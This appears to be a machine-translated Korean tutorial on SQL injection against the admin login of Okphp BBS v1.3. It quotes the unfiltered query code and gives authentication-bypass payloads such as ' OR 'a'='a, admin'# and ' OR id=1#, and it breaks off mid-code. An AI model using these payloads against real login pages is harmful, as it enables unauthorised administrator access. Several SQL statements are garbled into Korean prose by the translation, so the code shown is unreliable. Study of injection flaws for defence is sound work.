1. 서문:
버전 정보: Okphp BBS v1.3 오픈소스 버전
다운로드 주소: http://www.cncode.com/SoftView.asp?SoftID=1800
PHP와 MYSQL 자체로 인해 PHP+MYSQL의 주입은 asp보다 어렵습니다. 특히 주입 중 명령문 구성은 주로 Okphp BBS v1.3의 일부 파일에 대한 간단한 분석을 사용합니다. php+mysql 주입문의 구성 방법에 대해 이야기해보겠습니다. 이 글이 여러분에게 도움이 되기를 바랍니다.
성명: 기사에 언급된 모든 "취약점"은 테스트되지 않았으며 전혀 존재하지 않을 수도 있습니다. 실제로 허점이 있는지 여부는 중요하지 않습니다. 명령문 구조.
2. "취약성" 분석:
1. Admin/login.php 삽입으로 인해 인증 우회 취약점 발생:
코드:
$conn = sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "$user_table에서 id,group_id를 선택합니다. 여기서 사용자 이름 = '$username' 및 비밀번호='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "사용자 이름='$username' 및 비밀번호='$password'인 $user_table에서 id,group_id 선택"
$username 및 $password는 필터링되지 않으며 쉽게 우회할 수 있습니다.
사용자 이름='$username' 및 비밀번호='$password'인 select * from $user_table과 같은 명령문의 경우 명령문을 수정하는 방법은 다음과 같습니다.
구성 1(논리 연산 사용) : $username =' OR 'a'='a $password=' OR 'a'='a
SQL 문과 동일:
select * from $user_table where username='' OR 'a '='a' 및 비밀번호='' OR 'a'='a'
구성 2(mysql의 주석 문 #을 사용하고 $password를 주석 처리하려면 /* 사용): $username= admin'# (또는 admin'/*)
즉,
$user_table에서 *를 선택합니다. 여기서 사용자 이름='admin'#' 및 비밀번호='$password'"
에 해당:
Select * from $user_table where username='admin'
admin/login.php에서 $q 문에 있는 $password는 쿼리하기 전에 md5로 암호화되므로 1의 문은 무시됩니다. 여기서는 구성 2를 사용합니다.
사용자 이름='admin'#' 및 비밀번호='$password'"인 $user_table에서 id,group_id를 선택합니다.
와 동일: $user_table에서 id,group_id를 선택합니다(여기서 username='admin' admin이라는 사용자가 있는 경우에만 설정됨). 사용자 이름, 해당 ID만 알 수 있습니다. 다음과 같이 구성할 수 있습니다: $username=' OR id=1# 다음과 동일: id 선택 ,group_id from $user_table 여기서 사용자 이름='' OR id=1 # 및 비밀번호='$password'(# 뒤의 항목은 주석 처리됨) 그런 다음 코드를 살펴봅니다. if ($row[0]) { // 관리자나 슈퍼 중재자가 아닌 경우 if ($username != "admin" && !eregi("(^|&)3( $|&)",$row[1])) { $login = 0; } else { $login = 1 ; // 로그인 실패--------------- if (!$login) { write_log("운영자 로그인 ","0","비밀번호가 틀렸습니다"); echo "